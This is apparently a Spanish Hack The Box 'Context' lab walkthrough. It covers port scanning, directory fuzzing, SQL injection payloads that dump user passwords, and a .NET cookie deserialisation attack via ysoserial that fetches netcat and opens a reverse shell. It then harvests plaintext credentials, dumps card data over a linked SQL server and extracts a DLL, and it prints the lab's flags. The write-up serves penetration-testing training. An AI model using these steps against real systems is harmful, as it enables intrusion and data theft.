Context

Escaneo:

443/tcp  open  https?
| ssl-cert: Subject: commonName=WMSvc-SHA2-WEB
| Not valid before: 2020-10-12T18:31:49
|_Not valid after:  2030-10-10T18:31:49
|_http-title: Home page - Home
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2070.00; GDR1
| ms-sql-info: 
|   10.13.37.12:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 GDR1
|       number: 15.00.2070.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: GDR1
|       Post-SP patches applied: false
|_    TCP port: 1433
| ms-sql-ntlm-info: 
|   10.13.37.12:1433: 
|     Target_Name: TEIGNTON
|     NetBIOS_Domain_Name: TEIGNTON
|     NetBIOS_Computer_Name: WEB
|     DNS_Domain_Name: TEIGNTON.HTB
|     DNS_Computer_Name: WEB.TEIGNTON.HTB
|     DNS_Tree_Name: TEIGNTON.HTB
|_    Product_Version: 10.0.17763
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=WEB.TEIGNTON.HTB
| Not valid before: 2024-12-23T09:38:02
|_Not valid after:  2025-06-24T09:38:02
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

En busca de directorios:

┌──(docker㉿docker)-[~/HackBox]
└─$ wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt https://10.13.37.12/Home/FUZZ 

Se encontro: https://10.13.37.12/home/staff que contiene la primera flag

Se encontro un directorio admin donse te permite loguearte y probamos las credenciales que encontramos:

Al ingresar

Pues asi lo primero que me llama la atención es que podemos añadir cosas, así que lo primero que voy a intentar sera una SQL injection.

'+(select db_name())+'

Y vemos que es vulnerable y nos muestra el nombre de la base de datos:

Ahora si dumpeamos el campo user tendremos un usuario. Y si luego hacemos lo mismo con el campo password ya tendremos unas credenciales validas.

'+(select top 1 username from users order by username)+'

'+(select top 1 password from users order by username)+'

Recopilando todos esos datos hagamos un fuzing al directorio original:

https://10.13.37.12/
┌──(docker㉿docker)-[~/HackBox]
└─$ wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt https://10.13.37.12/FUZZ

Se pudo ingresar con las credenciales encontradas

Después de descargar y unzipear el archivo en una carpeta podemos ver un _ViewStart.cshtml. Analizando el contenido podemos pensar en un ataque de deseralización en la cookie Profile.

┌──(docker㉿docker)-[~/Downloads/WebApplication/Views]
└─$ cat _ViewStart.cshtml 
@{
    Layout = "~/Views/Shared/_Layout.cshtml";
}

@using System.Text;
@using System.Web.Script.Serialization;
@{ 
    if (0 != Context.Session.Keys.Count) {
        if (null != Context.Request.Cookies.Get("Profile")) {
            try {
                byte[] data = Convert.FromBase64String(Context.Request.Cookies.Get("Profile")?.Value);
                string str = UTF8Encoding.UTF8.GetString(data);

                SimpleTypeResolver resolver = new SimpleTypeResolver();
                JavaScriptSerializer serializer = new JavaScriptSerializer(resolver);

                object obj = (serializer.Deserialize(str, typeof(object)) as Profile);
                // TODO: create profile to change the language and font of the website 
            } catch (Exception e) {
            }
        }
    }
}                                                                                                                                                                                                                  

Con ayuda de ysoserial crearemos una data serializada que nos descargue el netcat.exe

¿Qué es ysoserial?

ysoserial es una herramienta muy conocida en ciberseguridad para generar cargas útiles (payloads) maliciosas en diferentes formatos de serialización. Fue creada para explotar vulnerabilidades de deserialización en aplicaciones que no validan adecuadamente los datos serializados.

En este contexto, puedes usar ysoserial.net, una versión adaptada para aplicaciones .NET, para crear un objeto serializado que ejecutará comandos arbitrarios (por ejemplo, descargar y ejecutar netcat.exe).

Cambiamos la cookie y al recargar esta vez nos llega una shell y ya podemos ver otra FLAG: CONTEXT{uNs4fe_deceri4liz3r5?!_th33333yre_gr8}

 sudo netcat -lvnp 443

Listening on 0.0.0.0 443
Connection received on 10.13.37.12
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
teignton\web_user
PS C:\Windows\system32> type C:\Users\Public\flag.txt
CONTEXT{uNs4fe_deceri4liz3r5?!_th33333yre_gr8}
PS C:\Windows\system32>

Mirando los logs de webdb podemos encontrar unas credenciales en texto claro:

PS C:\Logs\WEBDB> type log_13.trc | Select-String TEIGNTON
????????? ??? ?????? ?????????? ??????? TEIGNTON\karl.memaybe
????????? ??? ?????? ?????????? ??????? B6rQx_d&RVqvcv2A
PS C:\Logs\WEBDB>

Si probamos conectarnos con sqsh a mssql con las credenciales, nos podemos conectar:

┌──(docker㉿docker)-[~/HackBox/Release]
└─$ sqsh -S 10.13.37.12:1433 -U teignton\\karl.memaybe -P 'B6rQx_d&RVqvcv2A'
1> select * from openquery("web\clients", 'select name from clients..sysobjects');
2> go
BackupClients
card_details
QueryNotificationErrorsQueue
queue_messages_1977058079
EventNotificationErrorsQueue
queue_messages_2009058193
ServiceBrokerQueue
queue_messages_2041058307
(8 rows affected)
1>

Si enviamos su contenido a un txt y despues lo cateamos podemos ver la FLAG: CONTEXT{g1mm2_g1mm3_g1mm4_y0ur_cr3d1t}

1> select * from openquery("web\clients", 'select * from clients..card_details');
2> go > out.txt
1> exit
❯ cat out.txt | grep CONTEXT
CONTEXT{g1mm2_g1mm3_g1mm4_y0ur_cr3d1t}

También encontramos un binario que despues de bajarlo podemos ver que es un dll.

1> select cast((select content from openquery([web\clients], 'select * from clients.sys.assembly_files') where assembly_id = 65536) as varbinary(max)) for xml path(''), binary base64;
2> go > text
1> exit
❯ cat text | base64 -d > out
❯ file out
out: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

CONTEXT{OU_4bl3_t0_k33p_4_s3cret?}

Last updated